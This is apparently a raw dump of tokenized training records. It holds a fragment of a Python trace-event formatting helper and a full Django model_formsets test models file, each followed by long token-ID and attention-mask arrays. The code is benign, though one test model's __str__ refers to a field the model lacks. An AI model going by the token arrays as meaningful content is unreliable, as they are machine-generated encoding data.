keys = trace_flags.keys() for idx in keys: if not value and not idx: string += "NONE" break if idx and (value & idx) == idx: if print_delim: string += " | "; string += trace_flags[idx] print_delim = 1 value &= ~idx return string def taskState(state): states = { 0 : "R", 1 : "S", 2 : "D", 64: "DEAD" } if state not in states: return "Unknown" return states[state] class EventHeaders: def __init__(self, common_cpu, common_secs, common_nsecs, common_pid, common_comm): self.cpu = common_cpu self.secs = common_secs self.nsecs = common_nsecs self.pid = common_pid self.comm = common_comm def ts(self): return (self.secs * (10 ** 9)) + self.nsecs def ts_format(self): return "%d.%d" % (self.secs, int(self.nsecs / 1000))
gpl-2.0
[ 3, 11672, 14, 647, 446, 2018, 3329, 367, 8582, 2884, 12, 6170, 3423, 199, 3, 199, 3, 1898, 334, 35, 9, 7129, 701, 21644, 29385, 665, 29453, 32, 6799, 14, 957, 30, 199, 3, 199, 3, 961, 2032, 1443, 506, 1854, 1334, 314, 2895, 402, 314, 1664, 1696, 199, 3, 1684, 844, 1689, 12006, 531, 1015, 499, 465, 3267, 701, 314, 2868, 2290, 199, 3, 2752, 14, 199, 199, 504, 5055, 492, 10018, 199, 199, 318, 27477, 837, 272, 372, 10018, 8, 2495, 807, 9, 199, 199, 4173, 63, 955, 275, 27477, 342, 199, 22836, 63, 955, 275, 27477, 342, 199, 199, 318, 5627, 63, 4173, 63, 698, 8, 1430, 63, 354, 12, 901, 63, 354, 12, 21799, 304, 272, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 15966, 418, 275, 21799, 199, 199, 318, 5627, 63, 4173, 63, 585, 8, 1430, 63, 354, 12, 901, 63, 354, 12, 574, 12, 901, 63, 495, 304, 272, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 3488, 585, 61, 275, 901, 63, 495, 199, 199, 318, 5627, 63, 22836, 63, 698, 8, 1430, 63, 354, 12, 901, 63, 354, 304, 272, 327, 6548, 370, 886, 12, 7710, 272, 986, 199, 199, 318, 5627, 63, 22836, 63, 585, 8, 1430, 63, 354, 12, 901, 63, 354, 12, 574, 12, 901, 63, 495, 304, 272, 13673, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 3488, 585, 61, 275, 901, 63, 495, 199, 199, 318, 3305, 63, 495, 8, 1430, 63, 354, 12, 901, 63, 354, 12, 574, 304, 272, 1059, 275, 3087, 339, 340, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2189, 199, 198, 1361, 63, 15966, 275, 378, 267, 2883, 275, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 2278, 1612, 342, 267, 2883, 14, 3191, 342, 267, 367, 4280, 315, 2883, 26, 288, 340, 440, 574, 436, 440, 4280, 26, 355, 1059, 847, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 3488, 2996, 61, 355, 2059, 288, 340, 4280, 436, 334, 585, 1253, 4280, 9, 508, 4280, 26, 355, 340, 870, 63, 15966, 436, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 15966, 2565, 490, 1059, 847, 298, 298, 435, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 15966, 418, 435, 298, 298, 355, 1059, 847, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 3488, 2996, 61, 355, 870, 63, 15966, 275, 413, 355, 574, 18415, 6146, 2996, 339, 372, 1059, 199, 199, 318, 5272, 63, 495, 8, 1430, 63, 354, 12, 901, 63, 354, 12, 574, 304, 272, 1059, 275, 3087, 339, 340, 13673, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2189, 267, 2883, 275, 13673, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 2278, 1612, 342, 267, 2883, 14, 3191, 342, 267, 367, 4280, 315, 2883, 26, 288, 340, 440, 574, 436, 440, 4280, 26, 507, 198, 875, 275, 13673, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 3488, 2996, 61, 355, 2059, 6722, 340, 334, 585, 508, 4280, 304, 507, 198, 875, 275, 13673, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 3488, 2996, 61, 355, 2059, 339, 372, 1059, 199, 199, 3446, 63, 2469, 275, 469, 378, 88, 383, 26, 298, 9185, 401, 971, 490, 378, 88, 614, 26, 298, 3927, 23298, 63, 7517, 401, 971, 490, 378, 88, 996, 26, 298, 3927, 23298, 63, 2826, 10640, 401, 971, 490, 378, 88, 966, 26, 298, 28888, 63, 3830, 22492, 401, 971, 490, 378, 88, 2036, 26, 298, 30958, 3022, 49, 401, 971, 490, 378, 88, 709, 26, 298, 26999, 3927, 49, 2, 789, 199, 199, 318, 3307, 63, 4173, 63, 495, 8, 585, 304, 272, 1059, 275, 3087, 272, 870, 63, 15966, 275, 378, 339, 2883, 275, 3307, 63, 2469, 14, 1612, 342, 339, 367, 4280, 315, 2883, 26, 199, 198, 692, 440, 574, 436, 440, 4280, 26, 6722, 1059, 847, 298, 9185, 2, 6722, 2059, 421, 198, 692, 4280, 436, 334, 585, 1253, 4280, 9, 508, 4280, 26, 6722, 340, 870, 63, 15966, 26, 507, 198, 875, 847, 298, 1204, 28036, 6722, 1059, 847, 3307, 63, 2469, 59, 2996, 61, 6722, 870, 63, 15966, 275, 413, 6722, 574, 18415, 6146, 2996, 339, 372, 1059, 421, 199, 318, 2120, 2223, 8, 929, 304, 199, 198, 4981, 275, 469, 507, 198, 16, 520, 298, 50, 401, 507, 198, 17, 520, 298, 51, 401, 507, 198, 18, 520, 298, 36, 401, 507, 198, 772, 26, 298, 29031, 2, 199, 198, 93, 421, 198, 692, 1174, 440, 315, 6363, 26, 507, 198, 1107, 298, 5912, 2, 421, 198, 1107, 6363, 59, 929, 61, 421, 199, 533, 6763, 9883, 26, 199, 198, 318, 636, 826, 721, 277, 12, 2863, 63, 3541, 12, 2863, 63, 4855, 12, 2863, 63, 9618, 12, 686, 258, 2863, 63, 3150, 12, 2863, 63, 1404, 304, 507, 198, 277, 14, 3541, 275, 2863, 63, 3541, 507, 198, 277, 14, 4855, 275, 2863, 63, 4855, 507, 198, 277, 14, 9618, 275, 2863, 63, 9618, 507, 198, 277, 14, 3150, 275, 2863, 63, 3150, 507, 198, 277, 14, 1404, 275, 2863, 63, 1404, 421, 198, 318, 6714, 8, 277, 304, 507, 198, 1107, 334, 277, 14, 4855, 627, 334, 709, 1011, 1749, 430, 435, 291, 14, 9618, 421, 198, 318, 6714, 63, 908, 8, 277, 304, 507, 198, 1107, 2071, 68, 4111, 68, 2, 450, 334, 277, 14, 4855, 12, 1109, 8, 277, 14, 9618, 1182, 5198, 430, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 11672, 14, 647, 446, 2018, 3329, 367, 8582, 2884, 12, 6170, 3423, 199, 3, 199, 3, 1898, 334, 35, 9, 7129, 701, 21644, 29385, 665, 29453, 32, 6799, 14, 957, 30, 199, 3, 199, 3, 961, 2032, 1443, 506, 1854, 1334, 314, 2895, 402, 314, 1664, 1696, 199, 3, 1684, 844, 1689, 12006, 531, 1015, 499, 465, 3267, 701, 314, 2868, 2290, 199, 3, 2752, 14, 199, 199, 504, 5055, 492, 10018, 199, 199, 318, 27477, 837, 272, 372, 10018, 8, 2495, 807, 9, 199, 199, 4173, 63, 955, 275, 27477, 342, 199, 22836, 63, 955, 275, 27477, 342, 199, 199, 318, 5627, 63, 4173, 63, 698, 8, 1430, 63, 354, 12, 901, 63, 354, 12, 21799, 304, 272, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 15966, 418, 275, 21799, 199, 199, 318, 5627, 63, 4173, 63, 585, 8, 1430, 63, 354, 12, 901, 63, 354, 12, 574, 12, 901, 63, 495, 304, 272, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 3488, 585, 61, 275, 901, 63, 495, 199, 199, 318, 5627, 63, 22836, 63, 698, 8, 1430, 63, 354, 12, 901, 63, 354, 304, 272, 327, 6548, 370, 886, 12, 7710, 272, 986, 199, 199, 318, 5627, 63, 22836, 63, 585, 8, 1430, 63, 354, 12, 901, 63, 354, 12, 574, 12, 901, 63, 495, 304, 272, 13673, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 3488, 585, 61, 275, 901, 63, 495, 199, 199, 318, 3305, 63, 495, 8, 1430, 63, 354, 12, 901, 63, 354, 12, 574, 304, 272, 1059, 275, 3087, 339, 340, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2189, 199, 198, 1361, 63, 15966, 275, 378, 267, 2883, 275, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 2278, 1612, 342, 267, 2883, 14, 3191, 342, 267, 367, 4280, 315, 2883, 26, 288, 340, 440, 574, 436, 440, 4280, 26, 355, 1059, 847, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 3488, 2996, 61, 355, 2059, 288, 340, 4280, 436, 334, 585, 1253, 4280, 9, 508, 4280, 26, 355, 340, 870, 63, 15966, 436, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 15966, 2565, 490, 1059, 847, 298, 298, 435, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 15966, 418, 435, 298, 298, 355, 1059, 847, 3305, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 3488, 2996, 61, 355, 870, 63, 15966, 275, 413, 355, 574, 18415, 6146, 2996, 339, 372, 1059, 199, 199, 318, 5272, 63, 495, 8, 1430, 63, 354, 12, 901, 63, 354, 12, 574, 304, 272, 1059, 275, 3087, 339, 340, 13673, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2189, 267, 2883, 275, 13673, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 2278, 1612, 342, 267, 2883, 14, 3191, 342, 267, 367, 4280, 315, 2883, 26, 288, 340, 440, 574, 436, 440, 4280, 26, 507, 198, 875, 275, 13673, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 3488, 2996, 61, 355, 2059, 6722, 340, 334, 585, 508, 4280, 304, 507, 198, 875, 275, 13673, 63, 955, 59, 1430, 63, 354, 1527, 698, 63, 354, 2733, 1459, 3488, 2996, 61, 355, 2059, 339, 372, 1059, 199, 199, 3446, 63, 2469, 275, 469, 378, 88, 383, 26, 298, 9185, 401, 971, 490, 378, 88, 614, 26, 298, 3927, 23298, 63, 7517, 401, 971, 490, 378, 88, 996, 26, 298, 3927, 23298, 63, 2826, 10640, 401, 971, 490, 378, 88, 966, 26, 298, 28888, 63, 3830, 22492, 401, 971, 490, 378, 88, 2036, 26, 298, 30958, 3022, 49, 401, 971, 490, 378, 88, 709, 26, 298, 26999, 3927, 49, 2, 789, 199, 199, 318, 3307, 63, 4173, 63, 495, 8, 585, 304, 272, 1059, 275, 3087, 272, 870, 63, 15966, 275, 378, 339, 2883, 275, 3307, 63, 2469, 14, 1612, 342, 339, 367, 4280, 315, 2883, 26, 199, 198, 692, 440, 574, 436, 440, 4280, 26, 6722, 1059, 847, 298, 9185, 2, 6722, 2059, 421, 198, 692, 4280, 436, 334, 585, 1253, 4280, 9, 508, 4280, 26, 6722, 340, 870, 63, 15966, 26, 507, 198, 875, 847, 298, 1204, 28036, 6722, 1059, 847, 3307, 63, 2469, 59, 2996, 61, 6722, 870, 63, 15966, 275, 413, 6722, 574, 18415, 6146, 2996, 339, 372, 1059, 421, 199, 318, 2120, 2223, 8, 929, 304, 199, 198, 4981, 275, 469, 507, 198, 16, 520, 298, 50, 401, 507, 198, 17, 520, 298, 51, 401, 507, 198, 18, 520, 298, 36, 401, 507, 198, 772, 26, 298, 29031, 2, 199, 198, 93, 421, 198, 692, 1174, 440, 315, 6363, 26, 507, 198, 1107, 298, 5912, 2, 421, 198, 1107, 6363, 59, 929, 61, 421, 199, 533, 6763, 9883, 26, 199, 198, 318, 636, 826, 721, 277, 12, 2863, 63, 3541, 12, 2863, 63, 4855, 12, 2863, 63, 9618, 12, 686, 258, 2863, 63, 3150, 12, 2863, 63, 1404, 304, 507, 198, 277, 14, 3541, 275, 2863, 63, 3541, 507, 198, 277, 14, 4855, 275, 2863, 63, 4855, 507, 198, 277, 14, 9618, 275, 2863, 63, 9618, 507, 198, 277, 14, 3150, 275, 2863, 63, 3150, 507, 198, 277, 14, 1404, 275, 2863, 63, 1404, 421, 198, 318, 6714, 8, 277, 304, 507, 198, 1107, 334, 277, 14, 4855, 627, 334, 709, 1011, 1749, 430, 435, 291, 14, 9618, 421, 198, 318, 6714, 63, 908, 8, 277, 304, 507, 198, 1107, 2071, 68, 4111, 68, 2, 450, 334, 277, 14, 4855, 12, 1109, 8, 277, 14, 9618, 1182, 5198, 430, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
sam-tsai/django
tests/model_formsets/models.py
143
7751
from __future__ import unicode_literals import datetime import uuid from django.db import models from django.utils import six from django.utils.encoding import python_2_unicode_compatible @python_2_unicode_compatible class Author(models.Model): name = models.CharField(max_length=100) class Meta: ordering = ('name',) def __str__(self): return self.name class BetterAuthor(Author): write_speed = models.IntegerField() @python_2_unicode_compatible class Book(models.Model): author = models.ForeignKey(Author, models.CASCADE) title = models.CharField(max_length=100) class Meta: unique_together = ( ('author', 'title'), ) ordering = ['id'] def __str__(self): return self.title @python_2_unicode_compatible class BookWithCustomPK(models.Model): my_pk = models.DecimalField(max_digits=5, decimal_places=0, primary_key=True) author = models.ForeignKey(Author, models.CASCADE) title = models.CharField(max_length=100) def __str__(self): return '%s: %s' % (self.my_pk, self.title) class Editor(models.Model): name = models.CharField(max_length=100) @python_2_unicode_compatible class BookWithOptionalAltEditor(models.Model): author = models.ForeignKey(Author, models.CASCADE) # Optional secondary author alt_editor = models.ForeignKey(Editor, models.SET_NULL, blank=True, null=True) title = models.CharField(max_length=100) class Meta: unique_together = ( ('author', 'title', 'alt_editor'), ) def __str__(self): return self.title @python_2_unicode_compatible class AlternateBook(Book): notes = models.CharField(max_length=100) def __str__(self): return '%s - %s' % (self.title, self.notes) @python_2_unicode_compatible class AuthorMeeting(models.Model): name = models.CharField(max_length=100) authors = models.ManyToManyField(Author) created = models.DateField(editable=False) def __str__(self): return self.name class CustomPrimaryKey(models.Model): my_pk = models.CharField(max_length=10, primary_key=True) some_field = models.CharField(max_length=100) # models for inheritance tests. @python_2_unicode_compatible class Place(models.Model): name = models.CharField(max_length=50) city = models.CharField(max_length=50) def __str__(self): return self.name @python_2_unicode_compatible class Owner(models.Model): auto_id = models.AutoField(primary_key=True) name = models.CharField(max_length=100) place = models.ForeignKey(Place, models.CASCADE) def __str__(self): return "%s at %s" % (self.name, self.place) class Location(models.Model): place = models.ForeignKey(Place, models.CASCADE, unique=True) # this is purely for testing the data doesn't matter here :) lat = models.CharField(max_length=100) lon = models.CharField(max_length=100) @python_2_unicode_compatible class OwnerProfile(models.Model): owner = models.OneToOneField(Owner, models.CASCADE, primary_key=True) age = models.PositiveIntegerField() def __str__(self): return "%s is %d" % (self.owner.name, self.age) @python_2_unicode_compatible class Restaurant(Place): serves_pizza = models.BooleanField(default=False) def __str__(self): return self.name @python_2_unicode_compatible class Product(models.Model): slug = models.SlugField(unique=True) def __str__(self): return self.slug @python_2_unicode_compatible class Price(models.Model): price = models.DecimalField(max_digits=10, decimal_places=2) quantity = models.PositiveIntegerField() def __str__(self): return "%s for %s" % (self.quantity, self.price) class Meta: unique_together = (('price', 'quantity'),) class MexicanRestaurant(Restaurant): serves_tacos = models.BooleanField(default=False) class ClassyMexicanRestaurant(MexicanRestaurant): restaurant = models.OneToOneField(MexicanRestaurant, models.CASCADE, parent_link=True, primary_key=True) tacos_are_yummy = models.BooleanField(default=False) # models for testing unique_together validation when a fk is involved and # using inlineformset_factory. @python_2_unicode_compatible class Repository(models.Model): name = models.CharField(max_length=25) def __str__(self): return self.name @python_2_unicode_compatible class Revision(models.Model): repository = models.ForeignKey(Repository, models.CASCADE) revision = models.CharField(max_length=40) class Meta: unique_together = (("repository", "revision"),) def __str__(self): return "%s (%s)" % (self.revision, six.text_type(self.repository)) # models for testing callable defaults (see bug #7975). If you define a model # with a callable default value, you cannot rely on the initial value in a # form. class Person(models.Model): name = models.CharField(max_length=128) class Membership(models.Model): person = models.ForeignKey(Person, models.CASCADE) date_joined = models.DateTimeField(default=datetime.datetime.now) karma = models.IntegerField() # models for testing a null=True fk to a parent class Team(models.Model): name = models.CharField(max_length=100) @python_2_unicode_compatible class Player(models.Model): team = models.ForeignKey(Team, models.SET_NULL, null=True) name = models.CharField(max_length=100) def __str__(self): return self.name # Models for testing custom ModelForm save methods in formsets and inline formsets @python_2_unicode_compatible class Poet(models.Model): name = models.CharField(max_length=100) def __str__(self): return self.name @python_2_unicode_compatible class Poem(models.Model): poet = models.ForeignKey(Poet, models.CASCADE) name = models.CharField(max_length=100) def __str__(self): return self.name @python_2_unicode_compatible class Post(models.Model): title = models.CharField(max_length=50, unique_for_date='posted', blank=True) slug = models.CharField(max_length=50, unique_for_year='posted', blank=True) subtitle = models.CharField(max_length=50, unique_for_month='posted', blank=True) posted = models.DateField() def __str__(self): return self.name # Models for testing UUID primary keys class UUIDPKParent(models.Model): uuid = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) name = models.CharField(max_length=255) class UUIDPKChild(models.Model): uuid = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) name = models.CharField(max_length=255) parent = models.ForeignKey(UUIDPKParent, models.CASCADE) class ChildWithEditablePK(models.Model): name = models.CharField(max_length=255, primary_key=True) parent = models.ForeignKey(UUIDPKParent, models.CASCADE) class AutoPKChildOfUUIDPKParent(models.Model): name = models.CharField(max_length=255) parent = models.ForeignKey(UUIDPKParent, models.CASCADE) class AutoPKParent(models.Model): name = models.CharField(max_length=255) class UUIDPKChildOfAutoPKParent(models.Model): uuid = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) name = models.CharField(max_length=255) parent = models.ForeignKey(AutoPKParent, models.CASCADE) class ParentWithUUIDAlternateKey(models.Model): uuid = models.UUIDField(unique=True, default=uuid.uuid4, editable=False) name = models.CharField(max_length=50) class ChildRelatedViaAK(models.Model): name = models.CharField(max_length=255) parent = models.ForeignKey(ParentWithUUIDAlternateKey, models.CASCADE, to_field='uuid')
bsd-3-clause
[ 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 2197, 199, 646, 5377, 199, 199, 504, 1639, 14, 697, 492, 1709, 199, 504, 1639, 14, 1208, 492, 3816, 199, 504, 1639, 14, 1208, 14, 2991, 492, 2366, 63, 18, 63, 2975, 63, 6490, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 6529, 8, 992, 14, 1685, 304, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 339, 1021, 6288, 26, 267, 7794, 275, 661, 354, 9538, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 354, 421, 199, 533, 31535, 351, 5949, 8, 5949, 304, 272, 2218, 63, 7625, 275, 1709, 14, 3901, 342, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 8944, 8, 992, 14, 1685, 304, 272, 4132, 275, 1709, 14, 3190, 8, 5949, 12, 1709, 14, 10855, 9, 272, 2538, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 339, 1021, 6288, 26, 267, 3747, 63, 6314, 275, 334, 288, 661, 2502, 297, 283, 1213, 659, 267, 776, 267, 7794, 275, 788, 344, 418, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 1213, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 8944, 3007, 7223, 8884, 8, 992, 14, 1685, 304, 272, 3002, 63, 2051, 275, 1709, 14, 15975, 8, 988, 63, 7022, 29, 21, 12, 6107, 63, 10696, 29, 16, 12, 5062, 63, 498, 29, 549, 9, 272, 4132, 275, 1709, 14, 3190, 8, 5949, 12, 1709, 14, 10855, 9, 272, 2538, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 1543, 83, 26, 450, 83, 7, 450, 334, 277, 14, 1662, 63, 2051, 12, 291, 14, 1213, 9, 421, 199, 533, 30318, 8, 992, 14, 1685, 304, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 8944, 3007, 7012, 16985, 10423, 8, 992, 14, 1685, 304, 272, 4132, 275, 1709, 14, 3190, 8, 5949, 12, 1709, 14, 10855, 9, 272, 327, 4879, 13851, 4132, 272, 8791, 63, 7515, 275, 1709, 14, 3190, 8, 10423, 12, 1709, 14, 3597, 63, 8084, 12, 4596, 29, 549, 12, 2973, 29, 549, 9, 272, 2538, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 339, 1021, 6288, 26, 267, 3747, 63, 6314, 275, 334, 288, 661, 2502, 297, 283, 1213, 297, 283, 4478, 63, 7515, 659, 267, 776, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 1213, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 17669, 323, 8696, 8, 8696, 304, 272, 12681, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 1543, 83, 446, 450, 83, 7, 450, 334, 277, 14, 1213, 12, 291, 14, 5983, 9, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 6529, 1352, 13800, 8, 992, 14, 1685, 304, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 272, 11462, 275, 1709, 14, 7624, 8, 5949, 9, 272, 2737, 275, 1709, 14, 14071, 8, 10820, 29, 797, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 354, 421, 199, 533, 8388, 29457, 8, 992, 14, 1685, 304, 272, 3002, 63, 2051, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 709, 12, 5062, 63, 498, 29, 549, 9, 272, 2005, 63, 698, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 421, 199, 3, 1709, 367, 15433, 2295, 14, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 10902, 8, 992, 14, 1685, 304, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1400, 9, 272, 14492, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1400, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 354, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 593, 4977, 8, 992, 14, 1685, 304, 272, 2599, 63, 344, 275, 1709, 14, 4378, 8, 3327, 63, 498, 29, 549, 9, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 272, 4192, 275, 1709, 14, 3190, 8, 11613, 12, 1709, 14, 10855, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 2071, 83, 737, 450, 83, 2, 450, 334, 277, 14, 354, 12, 291, 14, 2778, 9, 421, 199, 533, 12625, 8, 992, 14, 1685, 304, 272, 4192, 275, 1709, 14, 3190, 8, 11613, 12, 1709, 14, 10855, 12, 3747, 29, 549, 9, 272, 327, 642, 365, 15111, 590, 367, 5343, 314, 666, 3181, 1133, 17247, 2348, 32428, 272, 8396, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 272, 6132, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 593, 4977, 5736, 8, 992, 14, 1685, 304, 272, 5771, 275, 1709, 14, 14298, 8, 14919, 12, 1709, 14, 10855, 12, 5062, 63, 498, 29, 549, 9, 272, 11437, 275, 1709, 14, 8591, 342, 339, 347, 636, 495, 721, 277, 304, 267, 372, 2071, 83, 365, 450, 68, 2, 450, 334, 277, 14, 4597, 14, 354, 12, 291, 14, 474, 9, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 799, 14436, 8, 11613, 304, 272, 23739, 63, 80, 30937, 275, 1709, 14, 5036, 8, 885, 29, 797, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 354, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 12705, 8, 992, 14, 1685, 304, 272, 8889, 275, 1709, 14, 17315, 8, 3235, 29, 549, 9, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 5464, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 20276, 8, 992, 14, 1685, 304, 272, 8033, 275, 1709, 14, 15975, 8, 988, 63, 7022, 29, 709, 12, 6107, 63, 10696, 29, 18, 9, 272, 12524, 275, 1709, 14, 8591, 342, 339, 347, 636, 495, 721, 277 ]
[ 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 2197, 199, 646, 5377, 199, 199, 504, 1639, 14, 697, 492, 1709, 199, 504, 1639, 14, 1208, 492, 3816, 199, 504, 1639, 14, 1208, 14, 2991, 492, 2366, 63, 18, 63, 2975, 63, 6490, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 6529, 8, 992, 14, 1685, 304, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 339, 1021, 6288, 26, 267, 7794, 275, 661, 354, 9538, 339, 347, 636, 495, 721, 277, 304, 267, 372, 291, 14, 354, 421, 199, 533, 31535, 351, 5949, 8, 5949, 304, 272, 2218, 63, 7625, 275, 1709, 14, 3901, 342, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 8944, 8, 992, 14, 1685, 304, 272, 4132, 275, 1709, 14, 3190, 8, 5949, 12, 1709, 14, 10855, 9, 272, 2538, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 339, 1021, 6288, 26, 267, 3747, 63, 6314, 275, 334, 288, 661, 2502, 297, 283, 1213, 659, 267, 776, 267, 7794, 275, 788, 344, 418, 339, 347, 636, 495, 